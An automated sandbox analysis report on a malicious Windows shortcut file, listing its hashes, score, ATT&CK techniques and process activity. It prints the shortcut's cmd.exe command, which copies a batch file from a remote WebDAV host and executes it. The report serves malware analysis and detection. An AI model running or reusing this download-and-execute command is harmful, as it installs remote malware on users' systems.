b3c5e464e43d7db2432f3e28de75bd0eee8fa7a2b7b6fef7134e7115d6681be3

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25-03-2024 14:35

Target

zay/dial.lnk
Size

1KB
MD5

5b83c1fdd1febf3b68aa9a27486a31dc
SHA1

06376481bcfbac7435e503e430c971064253d73c
SHA256

71388b3505194a6a338b4a5ec1d2054ebdffa2c96f23174740577c0f5be19d4b
SHA512

7888d314bf385d6f679f9b33af9dda9a34e16beb512288b312ad34f2c0403091f819d9a55c511737f977f3b93cc616a89a78cf3825244972a6f550218e22f622

Score

7^/10

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cmd.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious use of WriteProcessMemory 2 IoCs

Processes:

cmd.exe

description pid process target process

PID 4364 wrote to memory of 4648 4364 cmd.exe cmd.exe
PID 4364 wrote to memory of 4648 4364 cmd.exe cmd.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation	cmd.exe

description	pid	process	target process
PID 4364 wrote to memory of 4648	4364	cmd.exe	cmd.exe
PID 4364 wrote to memory of 4648	4364	cmd.exe	cmd.exe

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy "\\posters-dial.com@80\google\file.bat" "C:\Users\Admin\Music\file.bat" && "C:\Users\Admin\Music\file.bat"
2⤵
PID:4648

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance